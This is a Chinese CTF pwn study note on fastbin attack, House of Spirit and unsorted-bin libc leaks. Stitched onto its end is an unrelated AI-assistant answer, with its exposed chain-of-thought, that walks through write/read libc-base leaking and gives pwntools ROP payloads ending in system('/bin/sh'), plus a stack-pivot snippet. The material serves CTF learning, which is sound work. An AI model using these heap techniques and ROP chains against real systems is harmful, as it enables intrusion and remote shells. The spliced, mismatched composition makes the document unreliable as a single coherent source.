PWN入门笔记 FastBinAttack+HouseOfSpirit+UnsortedBinLeak

本文深入讲解了FastBinAttack、HouseOfSpirit及UnsortedBinLeak三种Pwn技巧,包括技术原理与实际应用案例,帮助读者理解如何利用这些技巧进行内存控制。

好久没发文章了,从3月到5月所有学习记录全都存档在gitee上,包括本篇所有相关题目的exp,链接在此~
接下来想讲一讲自己对FastBinAttack和HouseOfSpirit以及UnsortedBinLeak的认识,因为我发现这俩攻击方法和这一种泄露方法最近用的贼多(也很好用),与其说是Pwn Heap,不如说是Pwn Linked-List(手动狗头)

FastBinAttack

Propaedeutics
What is fast bins?

64位系统中,FastChunk是用户申请的size在[0x20,0xA0]的堆块(32位系统中是[0x10,0x50]),而FastBin则是size在[0x20,0xA0]的空闲堆块。每个Fastbin实质上是一个LIFO的单向链表,而Fastbins实质上是一个数组,数组上10个元素储存着每个Fastbin的head

Structure of a chunk (freed or not)
(not used)(in bins)
+-----------+-----------+
| prev_size |    size   |
+-----------+-----------+
|     fd    |     bk    |
+-----------+-----------+
|fd_nextsize|bk_nextsize|(fastchunk do not have this part)
+-----------+-----------+
|         empty         |
+-----------------------+
(now used)(not in bins)
+-----------+-----------+
| prev_size |    size   |========|
+-----------+-----------+        |
|        content        |        |
+-----------------------+        |
                                 |
size(showed in the form of bits) |
+-----------------+-+-+-+        |
|                 | | | | <======|
+-----------------+-+-+-+
   NON_MAIN_ARENA<-| | |
        IS_MAPPED<---| |
    (P)PREV_INUSE<-----| (the prev_inuse of fastchunk is always 1)
#define MAX_FAST_SIZE     (80 * SIZE_SZ / 4)
// SIZE_SZ==4 in 32bits OS while 8 in 64bits OS
#ifndef DEFAULT_MXFAST
#define DEFAULT_MXFAST     (64 * SIZE_SZ / 4)
#endif
// MXFAST is a value can be modified

然而,ptmalloc 默认情况下会调用 set_max_fast(s) 将全局变量 global_max_fast 设置为 DEFAULT_MXFAST,也就是设置 fast bins 中 chunk 的最大值。当 MAX_FAST_SIZE 被设置为 0 时,系统就不会支持 fastbin 。

mfastbinptr fastbinsY[NFASTBINS];
// NFASTBINS usually is 10, that is to say, there should be 10 pointer to store bins of different size. 

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Attack Method

攻击的关键在于控制一根fd指针,然后修改指针内容为一个恶意地址,于是malloc的下一个fast chunk就会出现在fd指向的恶意地址,于是就达成了MemoryWrite的目的。
而如何控制一根fd指针呢?
修改FastBin来修改已free的chunk,然后再调用若干次malloc直到成功重新使用edited fast chunk,下一个malloc的FastChunk将会出现在上一个chunk的fd指针里写入的恶意地址。恶意地址的特征是存在一段dword,其低地址的1byte恰好在FastChunk的size之间,而其余高地址bytes全为\x00。通常考虑在Global Offset Table或者Block Started by Symbol或者加载的libc(e.g __malloc_hook)中寻找一个合适的恶意地址。

NJUPT-CGCTF:note(300pt)

此题提供了edit功能,无需DoubleFree,直接在形成FastBin之后edit,即可控制fd,直接修改链表

ISCC2018:WriteSomePaper(200pt)

此题并未提供edit功能,需DoubleFree,再Add一次被DoubleFree的chunk,即可控制fd,间接修改链表

others

也可通过非OffByOne的堆溢出来修改链表,其余方法等待探索吧。

HouseOfSpirit

Propaedeutics
What is HOS?

free的参数可控,导致任意地址free,再次allocate遂导致指定地址MemoryWrite

Attack Method

通过修改fd来控制note_list,从而控制free的参数,广义上而言,大多数情况下可以通过fastbin来进行攻击

ISCC2018:HappyHotel(300pt)

其实这道题原题是LCTF2016的pwn200……无语了这破比赛。通过溢出override指针,再去free这个指针,从而HOS。

UnsortedBinLeak

经常需要用到LibcBaseAddr,这时候就必须来一发UnsortedBinLeak

Propaedeutics
What is unsorted bin?

UnsortedBin只有一个链表,且是FIFO的环形双向链表。当释放SmallChunk或者LargeChunk时,不会将它们添加到SmallBin或者LargeBin中,而是添加到UnsortedBin中。而UnsortedBin有一个特性,就是第一个处于其中的空闲chunk的fd和bk都指向main_arena中一固定地址比如<main\_arena+88>这种。

Leak Method
NJUPT-CGCTF:note(300pt)

连续Add两个SmallChunk后delete第一个并且Show,返回值即为&main_arena+88

SCUTCTF2017:babyheap

连续Add三个FastChunk(也可视作SmallChunk)后delete第一个并且Show,也返回了main_arena中偏移量固定的地址

The END

等我(不入流PWN手)把HouseOfOrange学会了再来发博客咯

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<think> 我们参考引用内容,特别是引用[1]到[5],来回答用户关于使用write和read函数在CTF Pwn中求libc基址的方法。 根据引用[4]和[5],我们知道: 1. 程序运行后,libc中的函数在内存中的实际地址 = libc基址 + 函数在libc中的偏移量。 2. 我们可以通过泄露一个已经执行过的函数的实际地址(例如write或puts)来计算libc基址。 在CTF Pwn中,如果程序有栈溢出漏洞,我们可以构造ROP链来调用write函数(或puts函数)来泄露某个函数的真实地址(通常是GOT表中存储的地址),然后通过这个地址减去该函数在libc中的偏移量,得到libc基址。 具体到使用write+read的方法,通常步骤如下: 步骤1:第一次溢出,利用ROP调用write函数,将GOT表中某个函数(如write自身或puts)的地址输出到标准输出(文件描述符1)。同时,为了后续继续利用,我们需要控制程序返回到一个可以再次触发溢出的置(如main函数开头)。 步骤2:接收程序输出,解析出泄露的函数地址。 步骤3:根据泄露的函数地址,计算libc基址(基址 = 泄露的函数地址 - 该函数在libc中的偏移量)。注意,不同libc版本中函数的偏移量不同,因此需要确定libc版本(可以通过泄露多个函数地址来匹配,或者题目提供了libc文件)。 步骤4:根据libc基址,计算出system函数和字符串"/bin/sh"的地址。 步骤5:第二次溢出,利用ROP调用read函数(或其他输入函数)将构造好的ROP链(调用system("/bin/sh"))写入到某个可写内存区域(如.bss段),然后跳转到该区域执行;或者直接构造ROP链调用system("/bin/sh")。 但是,用户特别提到使用write+read,所以这里重点在于利用write泄露地址和利用read再次读入数据。 以下是一个典型利用场景的伪代码: 第一次ROP链: - 覆盖返回地址为write函数的PLT地址(write@plt) - 设置write函数的参数:文件描述符(1)、要泄露的地址(如write_got,即GOT表中write的地址)、输出的长度(4或8字节,取决于32还是64) - 设置返回地址为main函数的地址(或另一个可以再次触发溢出的地址),这样在write执行完后程序会重新运行到有漏洞的地方。 接收程序输出的write_got的值,然后计算libc基址。 第二次ROP链: - 覆盖返回地址为read函数的PLT地址(read@plt) - 设置read函数的参数:文件描述符(0,即标准输入)、存储地址(如.bss段的一个缓冲区)、长度(足够长以容纳我们输入的ROP链) - 设置返回地址为存储的ROP链的起始地址(即.bss段的那个缓冲区),这样read函数读入的数据(即我们构造的ROP链)会从.bss段开始执行。 第二次ROP链中,我们可以在.bss段写入一个ROP链,这个ROP链调用system("/bin/sh")。或者,我们可以利用read函数读入一个ROP链直接调用system("/bin/sh"),但要注意此时需要知道system函数的地址。 另一种常见的做法是:第二次ROP链直接构造调用system("/bin/sh"),而不通过read再次读入。但这里用户要求使用read,所以我们需要用read来读入后续的ROP链或字符串。 具体构造示例(32): 第一次ROP链: - 填充缓冲区 - write@plt - main_addr (返回地址) - 1 (文件描述符) - write_got (要泄露的地址) - 4 (输出长度) 接收4个字节的write_got地址,计算libc基址:libc_base = write_addr - libc_write_offset 然后计算system地址和/bin/sh地址: system_addr = libc_base + libc_system_offset binsh_addr = libc_base + libc_binsh_offset 第二次ROP链: - 填充缓冲区 - read@plt - system_addr (注意:这里我们希望read后返回到system,并且参数是/bin/sh,但需要调整栈) - 0 (文件描述符) - binsh_addr (读入地址?这里需要调整思路) 实际上,我们通常需要将"/bin/sh"字符串写入内存,如果libc中已经有这个字符串,我们可以直接使用。然后调用system函数。 但是,如果我们使用read读入,我们可以这样: 第二次ROP链1(使用read读入字符串和后续ROP): read(0, bss_addr, len(payload)) # 读入payload到bss_addr 然后返回到bss_addr(即执行我们读入的shellcode或ROP链) 但是,我们也可以直接构造ROP链调用system,此时需要将"/bin/sh"的地址作为参数。我们可以将"/bin/sh"字符串读入到已知地址(如.bss段),然后调用system。 因此,第二次ROP链可以这样: - 覆盖返回地址为read@plt - 设置返回地址为pop指令的地址(用于清理read的参数),然后接着是system的地址和参数 - 参数1:0(标准输入) - 参数2:bss_addr(.bss段的一个地址,用于存放我们输入的字符串"/bin/sh") - 参数3:8(长度,足够存放字符串) - 然后设置返回地址为一段gadget:pop ebx; ret; 这样当read执行完后,会弹出参数(清理栈),然后执行下一条指令。接着我们调用system,参数是bss_addr。 具体构造(32): payload2 = padding + read_plt + pop3_ret + 0 + bss_addr + 8 + system_addr + ret_addr + bss_addr 解释: - 调用read(0, bss_addr, 8)读入8个字节到bss_addr(这里我们输入"/bin/sh\x00") - read函数返回后,执行pop3_ret(一个弹出3个参数的gadget),将read的参数弹出栈,然后返回到system_addr - system_addr的返回地址是ret_addr(可以是一个无用的ret指令地址),参数是bss_addr(即我们读入的字符串地址) 但是,在64系统中,参数传递通过寄存器,所以构造方式不同。 由于用户没有指定是32还是64,这里我们以32为例。 然而,在实际题目中,我们往往需要根据题目提供的libc来确定偏移量,或者使用LibcSearcher等工具来查找。 总结步骤: 1. 利用write泄露一个GOT表地址(如write_got)。 2. 计算libc基址(需要知道该函数在libc中的偏移)。 3. 计算system和/bin/sh的地址(需要知道它们在libc中的偏移)。 4. 利用read函数读入字符串"/bin/sh"到.bss段(可选,如果libc中已有则不用读入)。 5. 构造ROP链调用system("/bin/sh")。 注意:如果题目中write函数不可用,也可以用puts函数,但puts遇到'\0'会结束,所以需要小心。 引用[5]中提到了使用LibcSearcher来查找libc版本和偏移,我们可以使用类似的工具。 下面是一个简化的例子(假设是32程序): 第一次ROP链: payload1 = 'A'*offset + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) 然后,接收泄露的write_got地址(4字节),解析为地址。 然后,计算libc_base = write_addr - libc.symbols['write'] # 这里需要知道libc版本,或者使用LibcSearcher 接着,计算system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search('/bin/sh')) # 或者如果libc中没有,则需要读入 第二次ROP链: # 首先,我们需要读入"/bin/sh"字符串到.bss段(假设bss_addr已知) payload2 = 'A'*offset payload2 += p32(read_plt) # 调用read payload2 += p32(pop3_ret) # read返回后跳到这里,弹出3个参数 payload2 += p32(0) # fd=0 payload2 += p32(bss_addr) # buf payload2 += p32(8) # len # 然后,我们调用system,参数是bss_addr payload2 += p32(system_addr) payload2 += p32(0) # system的返回地址,可以随意 payload2 += p32(bss_addr) 然后发送payload2,接着发送字符串"/bin/sh\x00"(8字节)。 这样,程序就会执行system("/bin/sh")。 但是,如果libc中已经有"/bin/sh"字符串,我们可以直接使用,不需要读入。那么第二次ROP链可以简化为: payload2 = 'A'*offset + p32(system_addr) + p32(0) + p32(binsh_addr) 然而,用户要求使用read,所以这里我们展示的是需要读入字符串的情况。 注意:实际题目中,我们可能还需要考虑栈平衡等问题。 以上是使用write+read求libc基址并最终获取shell的方法。 现在,我们根据用户要求生成相关问题。 §§相关问题§§ 1. 在32和64系统中,利用write和read函数求libc基址的主要区别是什么? 2. 如果程序中没有write函数,还可以用哪些函数来泄露libc基址? 3. 在利用read函数读入数据时,如何确定.bss段的地址? 4. 如何解决不同libc版本中函数偏移量不同的问题? 5. 在构造ROP链时,为什么有时候需要返回到main函数重新开始? </think>### CTF Pwn中使用write+read求libc基址的方法 在CTF Pwn中,通过`write`和`read`函数泄露libc基址是常见的利用技术,主要流程如下: #### 核心原理 1. **libc地址计算** libc基址 = 泄露的函数实际地址 - 该函数在libc中的固定偏移量 即:$libc\_base = leaked\_addr - offset$ 2. **GOT/PLT机制** GOT表存储函数真实地址,通过泄露GOT表项获取libc函数地址(如`write@got`)[^2][^5]。 #### 操作步骤 1. **第一次ROP链(泄露地址)** ```python payload1 = b'A' * offset # 填充缓冲区 payload1 += p64(pop_rdi) # 设置rdi=1 (stdout) payload1 += p64(1) payload1 += p64(pop_rsi) # 设置rsi=write_got payload1 += p64(elf.got['write']) payload1 += p64(pop_rdx) # 设置rdx=8 (64地址长度) payload1 += p64(8) payload1 += p64(elf.plt['write']) # 调用write(1, write_got, 8) payload1 += p64(main_addr) # 返回main重新触发溢出 ``` - 执行后接收输出的8字节数据,解析为`write`函数的实际内存地址[^5]。 2. **计算libc基址** ```python write_addr = u64(io.recv(8)) # 解析泄露的地址 libc_base = write_addr - libc.sym['write'] # 计算基址 system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh')) ``` 3. **第二次ROP链(getshell)** ```python payload2 = b'A' * offset payload2 += p64(pop_rdi) payload2 += p64(binsh_addr) # rdi="/bin/sh" payload2 += p64(ret) # 栈对齐(可选) payload2 += p64(system_addr) # 调用system("/bin/sh") ``` #### 关键点说明 1. **`read`函数的作用** - 在限制输入长度的题目中(如[^3]),用`read`构造栈迁移: ```python payload += p64(pop_rdi) + p64(0) # fd=0 (stdin) payload += p64(pop_rsi) + p64(new_stack) # 目标栈地址 payload += p64(elf.plt['read']) # read(0, new_stack, size) payload += p64(migrate_gadget) # 跳转到新栈 ``` - 将后续ROP链读到可控内存区域(如.bss段)[^3]。 2. **动态偏移处理** - 当libc版本未知时,用`LibcSearcher`匹配: ```python from LibcSearcher import * libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write') ``` #### 典型应用场景 1. 存在栈溢出但无`system`/`/bin/sh`的程序 2. 开启NX保护时(无法执行shellcode) 3. 输入长度受限需结合栈迁移(如[^3]) ---
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